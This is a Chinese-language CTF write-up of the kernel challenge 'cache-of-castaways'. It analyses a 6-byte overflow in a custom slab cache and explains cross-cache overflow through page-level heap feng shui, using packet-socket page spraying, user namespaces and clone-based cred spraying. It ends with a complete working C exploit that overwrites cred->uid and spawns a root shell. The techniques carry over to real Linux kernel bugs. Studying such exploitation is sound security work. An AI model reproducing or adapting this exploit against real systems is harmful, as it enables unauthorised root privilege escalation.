0%

Cross-Cache Overflow+页级堆风水

cache-of-castaways

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
qemu-system-x86_64 \
-m 4096M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on" \
-netdev user,id=net \
-device e1000,netdev=net \
-no-reboot \
-monitor /dev/null \
-cpu qemu64,+smep,+smap \
-initrd ./rootfs.cpio
  • smap,smep,pti
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/bin/sh

export PS1='\[\033[01;35m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
export PATH=/bin

[ -d /dev ] || mkdir -m 0755 /dev
[ -d /sys ] || mkdir /sys
[ -d /proc ] || mkdir /proc
[ -d /tmp ] || mkdir /tmp
[ -d /run ] || mkdir /run
[ -d /root ] || mkdir /root
[ -d /etc ] || mkdir /etc
[ -d /home ] || mkdir /home

echo 'root:x:0:0:root:/root:/bin/sh' > /etc/passwd
echo 'root:x:0:' > /etc/group
chmod 644 /etc/passwd
chmod 644 /etc/group

adduser ctf --disabled-password 2>/dev/null

chown -R root:root /
chmod 700 -R /root

insmod /cache_of_castaway.ko

chown ctf:ctf /home/ctf
chmod 777 /home/ctf
chmod 755 /dev
chmod 777 -R /tmp

mount -t proc -o nodev,noexec,nosuid proc /proc
mount -t sysfs -o nodev,noexec,nosuid sysfs /sys
mount -t devtmpfs -o nosuid,mode=0755 udev /dev

mkdir -p /dev/pts
mkdir -p /var/lock
mount -t devpts -o noexec,nosuid,gid=5,mode=0620 devpts /dev/pts || true

ln -sf /proc/mounts /etc/mtab
chmod 666 /dev/castaway

ip link set eth0 up
udhcpc -i eth0 -s /etc/udhcp/simple.script 1>/dev/null 2>/dev/null

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/perf_event_paranoid

echo "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"

cat /etc/motd

cd /home/ctf

setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys

poweroff -d 1 -n -f%
  • kptr_restrict
  • dmesg_restrict
  • perf_event_paranoid

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void __fastcall castaway_ioctl(FILE *fd, int cmd, void *args)
{
__int64 index; // r12
char **chunk; // rbx
Node input; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 canary; // [rsp+18h] [rbp-18h]

canary = __readgsqword(0x28u);
if ( cmd == 0xCAFEBABE ) // KALLOC
{
mutex_lock(&castaway_lock);
index = castaway_ctr;
if ( castaway_ctr <= 0x18F )
{
++castaway_ctr;
chunk = &castaway_arr[index];
*chunk = (char *)kmem_cache_alloc(castaway_cachep, 0x400DC0LL);// 0x200
if ( castaway_arr[index] )
goto LABEL_5;
}
castaway_ioctl_cold();
}
else if ( !copy_from_user(&input, args, 0x18LL) )// KWRITE
{
mutex_lock(&castaway_lock);
if ( cmd == 0xF00DBABE )
castaway_edit(input.index, input.size, input.ptr);
LABEL_5:
mutex_unlock(&castaway_lock);
}
}
  • 这里的 castaway_cachep 是程序自己分配的 kmem_cache,并且创建 flag 为 SLAB_ACCOUNT,同时开启了 CONFIG_MEMCG_KMEM=y
  • 这意味着这是一个独立的 kmem_cache(与内核自带的 kmem_cache-512 相独立,二者不会相互干扰)
1
2
3
4
5
#ifdef CONFIG_MEMCG_KMEM
# define SLAB_ACCOUNT ((slab_flags_t __force)0x04000000U)
#else
# define SLAB_ACCOUNT 0
#endif

内核分配 kmem_cache 的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void init_module()
{
castaway_dev = 0xFF;
qword_8A8 = (__int64)"castaway";
qword_8B0 = (__int64)&castaway_fops;
_mutex_init(&castaway_lock, "&castaway_lock", &_key_28999);
if ( !(unsigned int)misc_register(&castaway_dev) )
{
castaway_arr = (char **)kmem_cache_alloc(kmalloc_caches[12], 0xDC0LL);
if ( castaway_arr )
{
castaway_cachep = kmem_cache_create("castaway_cache", 0x200LL, 1LL, 0x4040000LL, 0LL);
if ( castaway_cachep )
init_castaway_driver_cold();
}
}
}

本题目的漏洞就在 castaway_edit 函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __fastcall castaway_edit(unsigned __int64 index, size_t size, void *from)
{
char to[512]; // [rsp+0h] [rbp-220h] BYREF
unsigned __int64 v5; // [rsp+200h] [rbp-20h]

v5 = __readgsqword(0x28u);
if ( index > 0x18F
|| !castaway_arr[index]
|| size > 0x200
|| (_check_object_size(to, size, 0LL), copy_from_user(to, from, size)) )
{
castaway_edit_cold();
}
else
{
memcpy(castaway_arr[index] + 6, to, size); // 6字节溢出
}
}
  • 有6字节的堆溢出,但是该 kmem_cache 是独立的,它上边的 object 很难溢出到内核自带的 kmem_cache-512 上
  • 于是需要另一个技术:Cross-Cache Overflow

Cross-Cache Overflow

Cross-Cache Overflow 本质上是针对 buddy system 完成对 slub 攻击的利用手法

伙伴系统 buddy system 的机制如下:

  • 把系统中要管理的物理内存按照页面个数分为了11个组,分别对应11种大小不同的连续内存块,每组中的内存块大小都相等,且必须是2的n次幂 (Pow(2, n)),即 1, 2, 4, 8, 16, 32, 64, 128 … 1024
  • 那么系统中就存在 2^0~2^10 这么11种大小不同的内存块,对应内存块大小为 4KB ~ 4M,内核用11个链表来管理11种大小不同的内存块(这11个双向链表都存储在 free_area 中)
  • 在操作内存时,经常将这些内存块分成大小相等的两个块,分成的两个内存块被称为伙伴块,采用 “一位二进制数” 来表示它们的伙伴关系(这个 “一位二进制数” 存储在位图 bitmap 中)
  • 系统根据该位为 “0” 或位为 “1” 来决定是否使用或者分配该页面块,系统每次分配和回收伙伴块时都要对它们的伙伴位跟 “1” 进行异或运算

Cross-Cache Overflow 就是为了实现跨 kmem_cache 溢出的利用手法:

  • slub 底层逻辑是向 buddy system 请求页面后再划分成特定大小 object 返还给上层调用者
  • 但内存中用作不同 kmem_cache 的页面在内存上是有可能相邻的
  • 若我们的漏洞对象存在于页面 A,溢出目标对象存在于页面 B,且 A,B 两页面相邻,则我们便有可能实现跨越不同 kmem_cache 之间的堆溢出

Cross-Cache Overflow 需要两个 page 相邻排版,此时又需要使用另一个技术:页级堆风水

页级堆风水

页级堆风水即以内存页为粒度的内存排布方式,而内核内存页的排布对我们来说不仅未知且信息量巨大,因此这种利用手法实际上是让我们手工构造一个新的已知的页级粒度内存页排布

伙伴系统采用一个双向链表数组 free_area 来管理各个空闲块,在分配 page 时有如下的逻辑:

  • free_area 的每个条目都是一个用于管理 2^n 大小空闲块的双向链表,每个 free_area[x] 都有一个 map 位图(用于表示各个伙伴块的关系)

1653447102092

  • 当一个 m page 大小的空间将要被申请时,伙伴系统会首先在 free_area[n] 中查找(刚好满足条件的最小 n)
  • 如果 free_area[n] 中有合适的内存块就直接分配出去,如果没有就继续在 free_area[n+1] 中查找
  • 如果 free_area[n+1] 中有合适的内存块,就会将其均分为两份:
    • 其中一份分配出去
    • 另一个插入 free_area[n] 中
  • 如果 free_area[n+1] 中也没有合适的内存块,则重复上面的过程,如果到达 free_area 数组的末端则放弃分配
  • 如果在 bitmap 中检测到有两个伙伴块都处于空闲状态,则会进行合并,然后插入上级链表

通过伙伴系统的分配流程我们可以发现:互为伙伴块的两片内存块一定是连续的

从更高阶 order 拆分成的两份低阶 order 的连续内存页是物理连续的,由此我们可以:

  • 向 buddy system 请求两份连续的内存页
  • 释放其中一份内存页,在 vulnerable kmem_cache 上堆喷,让其取走这份内存页
  • 释放另一份内存页,在 victim kmem_cache 上堆喷,让其取走这份内存页

这样就可以保证 vulnerable kmem_cachevictim kmem_cache 就一定是连续的

如果想要完成上述操作,就需要使用 setsockopt 与 pgv 完成页级内存占位与堆风水

setsockopt + pgv

函数 setsockopt 用于任意类型,任意状态套接口的设置选项值,其函数原型如下:

1
int setsockopt( int socket, int level, int option_name,const void *option_value, size_t ption_len);
  • socket:套接字
  • level:被设置的选项的级别(如果想要在套接字级别上设置选项,就必须把 level 设置为 SOL_SOCKET)
  • option_name:指定准备设置的“选项”
  • option_value:指向存放选项值的缓冲区(用于设置所选“选项”的值)
  • ption_len:缓冲区的长度
  • 返回值:若无错误发生返回 “0”,否则返回 SOCKET_ERROR 错误(应用程序可通过 WSAGetLastError() 获取相应错误代码)

利用步骤如下:

  • 创建一个 protocol 为 PF_PACKET 的 socket
1
socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
  • 先调用 setsockoptPACKET_VERSION 设为 TPACKET_V1 / TPACKET_V2()
1
setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version));
  • 再调用 setsockopt 提交一个 PACKET_TX_RING
1
2
3
4
5
6
req.tp_block_size = size;
req.tp_block_nr = nr;
req.tp_frame_size = 0x1000;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));

此时便存在如下调用链:

1
2
3
4
5
__sys_setsockopt()
sock->ops->setsockopt()
packet_setsockopt() // case PACKET_TX_RING ↓
packet_set_ring()
alloc_pg_vec()
  • alloc_pg_vec 中会创建一个 pgv 结构体,用以分配 tp_block_nr 份 2^order 大小的内存页,其中 ordertp_block_size 决定
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
unsigned int block_nr = req->tp_block_nr;
struct pgv *pg_vec;
int i;

pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
if (unlikely(!pg_vec))
goto out;

for (i = 0; i < block_nr; i++) {
pg_vec[i].buffer = alloc_one_pg_vec_page(order);
if (unlikely(!pg_vec[i].buffer))
goto out_free_pgvec;
}

out:
return pg_vec;

out_free_pgvec:
free_pg_vec(pg_vec, order, block_nr);
pg_vec = NULL;
goto out;
}
  • alloc_one_pg_vec_page 中会直接调用 __get_free_pages 向 buddy system 请求内存页,因此我们可以利用该函数进行大量的页面请求

当我们耗尽 buddy system 中的 low order page 后,我们再请求的页面便都是物理连续的,因此此时我们再进行 setsockopt 便相当于获取到了一块近乎物理连续的内存:

  • 不能分配 low order page 时,程序就会从上一级的 free_area 中分配一个内存块
  • 然后等分为两个 low order page,这两个 low order page 就是物理连续的
  • setsockopt 的流程中同样会分配大量我们不需要的结构体,从而消耗 buddy system 的部分页面,产生“噪声”

具体的操作就是利用 setsockopt 申请大量的 1 page 内存块,部分 setsockopt 用于耗尽 low order page,而剩下的就有几率成为连续内存

入侵思路

其实入侵的思路很简单:就是通过这6字节的溢出来覆盖 cred 从而实现提权

结构体 cred 所使用的 kmem_cachecred_jar

  • cred 的大小为 192
  • cred_jar 向 buddy system 单次请求 1 page 大小的内存块,足够分配21个 cred
  • 利用系统调用 clone 可以申请新的 cred,从而耗尽 cred_jar

具体的利用思路如下:

  • 先分配大量的单张内存页,耗尽 buddy 中的 low order page
  • 间隔一张内存页释放掉部分单张内存页,之后堆喷 cred,这样便有几率获取到我们释放的单张内存页
  • 释放掉之前的间隔内存页,调用漏洞函数分配堆块,这样便有几率获取到我们释放的间隔内存页
  • 而间隔的两张内存页又有几率互为伙伴(物理地址连续)
  • 最后利用模块中漏洞进行越界写,篡改 cred->uid ,完成提权

我们先利用 setsockopt 申请大量的 1 page 内存块,参考函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#define PACKET_VERSION 10
#define PACKET_TX_RING 13

int use_setsockopt_alloc_page(void){
struct tpacket_req req = {
.tp_block_size = 0x1000,
.tp_block_nr = 1,
.tp_frame_size = 0x1000,
.tp_frame_nr = 1,
};
int socket_fd, version, ret;

socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
if (socket_fd < 0) {
return 0;
}
ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version));
if(ret < 0){
errPrint("setsockopt version error");
}
ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
if(ret < 0){
errPrint("setsockopt req error");
}
return socket_fd;
}
  • 低权限用户无法使用上述函数,但是我们可以通过开辟新的命名空间来绕过该限制
  • 这里需要注意的是我们提权的进程不应当和页喷射的进程在同一命名空间内,因为要在原本的命名空间完成提权
  • 因此选择 fork 一个子进程,然后在子进程中开辟命名空间并完成页喷射(通过管道完成父子进程通信)

开辟命令空间的函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;

unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);

tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);

tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);

tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}

使用系统调用 clone 来耗尽 cred_jar 的函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__attribute__((naked)) long simple_clone(int flags, int (*fn)(void *))
{
/* clone(flags, stack, ...) */
__asm__ volatile (
" mov r15, rsi; " /* save the rsi*/
" xor rsi, rsi; " /* set esp and useless args to NULL */
" xor rdx, rdx; "
" xor r10, r10; "
" xor r8, r8; "
" xor r9, r9; "
" mov rax, 56; " /* __NR_clone */
" syscall; "
" cmp rax, 0; "
" je child_fn; "
" ret; " /* parent */
"child_fn: "
" jmp r15; " /* child */
);
}
  • 本进程的 cred 我们是没有机会覆盖的,我们只能覆盖 clone 进程的 cred
  • 然后在主进程中触发溢出去覆盖 clone 进程的 cred,在 clone 进程里面尝试 get root
  • clone 后的父进程 ret,子进程则跳转到函数指针 fn,并在该函数中等待 root 权限

等待 root 权限的函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int waiting_for_root_fn(void *args)
{
__asm__ volatile (
" lea rax, [check_root_pipe]; "
" xor rdi, rdi; "
" mov edi, dword ptr [rax]; "
" mov rsi, child_pipe_buf; "
" mov rdx, 1; "
" xor rax, rax; "
" syscall; " /* read(check_root_pipe[0], child_pipe_buf, 1)*/
" mov rax, 102; "
" syscall; " /* getuid() */
" cmp rax, 0; "
" jne failed; "
" mov rdi, 1; "
" lea rsi, [root_str]; "
" mov rdx, 80; "
" mov rax, 1;"
" syscall; " /* write(1, root_str, 71) */
" lea rdi, [bin_sh_str]; "
" lea rsi, [shell_args]; "
" xor rdx, rdx; "
" mov rax, 59; "
" syscall; " /* execve("/bin/sh", args, NULL) */
"failed: "
" lea rdi, [timer]; "
" xor rsi, rsi; "
" mov rax, 35; "
" syscall; " /* nanosleep() */
);

return 0;
}

最后组合一下就可以完成 exp 了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sched.h>
#include <assert.h>
#include <time.h>
#include <sys/socket.h>
#include <stdbool.h>

#define KALLOC 0xcafebabe
#define KWRITE 0xf00dbabe
#define PGV_PAGE_NUM 0x1000

#define PACKET_VERSION 10
#define PACKET_TX_RING 13

enum {
CMD_ALLOC_PAGE,
CMD_FREE_PAGE,
CMD_EXIT,
};

int fd;
int cmd_pipe_req[2], cmd_pipe_reply[2], check_root_pipe[2];
char bin_sh_str[] = "/bin/sh";
char *shell_args[] = { bin_sh_str, NULL };
char child_pipe_buf[1];
char root_str[] = "root";
int socket_fd[PGV_PAGE_NUM];

struct timespec timer = {
.tv_sec = 1145141919,
.tv_nsec = 0,
};

struct castaway_request {
int64_t index;
size_t size;
void *buf;
};

struct page_request{
int idx;
int cmd;
};

struct tpacket_req {
unsigned int tp_block_size;
unsigned int tp_block_nr;
unsigned int tp_frame_size;
unsigned int tp_frame_nr;
};

void errPrint(char *str){
puts(str);
exit(-1);
}

int initFd(char *str){
fd = open(str,O_RDWR);
if(fd < 0){
errPrint("open error");
}
}

int kalloc(void){
struct castaway_request r = {
.index = 0,
.size = 0,
.buf = 0,
};
ioctl(fd,KALLOC,&r);
}

int kwrite(int index,int size,char* buf){
struct castaway_request r = {
.index = index,
.size = size,
.buf = buf,
};
ioctl(fd,KWRITE,&r);
}

__attribute__((naked)) long simple_clone(int flags, int (*fn)(void *))
{
/* clone(flags, stack, ...) */
__asm__ volatile (
" mov r15, rsi; " /* save the rsi*/
" xor rsi, rsi; " /* set esp and useless args to NULL */
" xor rdx, rdx; "
" xor r10, r10; "
" xor r8, r8; "
" xor r9, r9; "
" mov rax, 56; " /* __NR_clone */
" syscall; "
" cmp rax, 0; "
" je child_fn; "
" ret; " /* parent */
"child_fn: "
" jmp r15; " /* child */
);
}

int waiting_for_root_fn(void *args)
{
__asm__ volatile (
" lea rax, [check_root_pipe]; "
" xor rdi, rdi; "
" mov edi, dword ptr [rax]; "
" mov rsi, child_pipe_buf; "
" mov rdx, 1; "
" xor rax, rax; "
" syscall; " /* read(check_root_pipe[0], child_pipe_buf, 1)*/
" mov rax, 102; "
" syscall; " /* getuid() */
" cmp rax, 0; "
" jne failed; "
" mov rdi, 1; "
" lea rsi, [root_str]; "
" mov rdx, 80; "
" mov rax, 1;"
" syscall; " /* write(1, root_str, 71) */
" lea rdi, [bin_sh_str]; "
" lea rsi, [shell_args]; "
" xor rdx, rdx; "
" mov rax, 59; "
" syscall; " /* execve("/bin/sh", args, NULL) */
"failed: "
" lea rdi, [timer]; "
" xor rsi, rsi; "
" mov rax, 35; "
" syscall; " /* nanosleep() */
);

return 0;
}

void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;

unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);

tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);

tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);

tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}

int use_setsockopt_alloc_page(void){
struct tpacket_req req = {
.tp_block_size = 0x1000,
.tp_block_nr = 1,
.tp_frame_size = 0x1000,
.tp_frame_nr = 1,
};
int socket_fd, version, ret;

socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
if (socket_fd < 0) {
return 0;
}
ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version));
if(ret < 0){
errPrint("setsockopt version error");
}
ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
if(ret < 0){
errPrint("setsockopt req error");
}
return socket_fd;
}

int alloc_page(int idx)
{
struct page_request req = {
.idx = idx,
.cmd = CMD_ALLOC_PAGE,
};
int ret;

write(cmd_pipe_req[1], &req, sizeof(struct page_request));
read(cmd_pipe_reply[0], &ret, sizeof(ret));

return ret;
}

int free_page(int idx)
{
struct page_request req = {
.idx = idx,
.cmd = CMD_FREE_PAGE,
};
int ret;

write(cmd_pipe_req[1], &req, sizeof(req));
read(cmd_pipe_reply[0], &ret, sizeof(ret));

return ret;
}

int main(){
cpu_set_t cpu_set;
char buf[0x1000];
int ret;

initFd("/dev/castaway");
pipe(cmd_pipe_req);
pipe(cmd_pipe_reply);

puts("step 1");
if(!fork()){
struct page_request req;
unshare_setup();
do {
read(cmd_pipe_req[0], &req, sizeof(req));
if (req.cmd == CMD_ALLOC_PAGE) {
ret = use_setsockopt_alloc_page();
socket_fd[req.idx] = ret;
} else if (req.cmd == CMD_FREE_PAGE) {
ret = close(socket_fd[req.idx]);
} else {
errPrint("invalid request");
}
write(cmd_pipe_reply[1], &ret, sizeof(ret));
} while (req.cmd != CMD_EXIT);
}

puts("step 2");
for (int i = 0; i < PGV_PAGE_NUM; i++) {
if(alloc_page(i) < 0) {
errPrint("alloc_page error");
}
}

puts("step 3");
for (int i = 1; i < PGV_PAGE_NUM; i += 2){
free_page(i);
}

pipe(check_root_pipe);
for (int i = 0; i < 512; i++) {
if (simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, waiting_for_root_fn) < 0){
errPrint("clone error");
}
}

puts("step 4");
for (int i = 0; i < PGV_PAGE_NUM; i += 2){
free_page(i);
}

memset(buf, '\0', 0x1000);
*(uint32_t*) &buf[512 - 6] = 1; /* cred->usage */
for (int i = 0; i < 400; i++) {
kalloc();
kwrite(i, 512, buf);
}

puts("step 5");
write(check_root_pipe[1], buf, 514);
sleep(0x5000);
}

小结:

学到了 Cross-Cache Overflow 和页级堆风水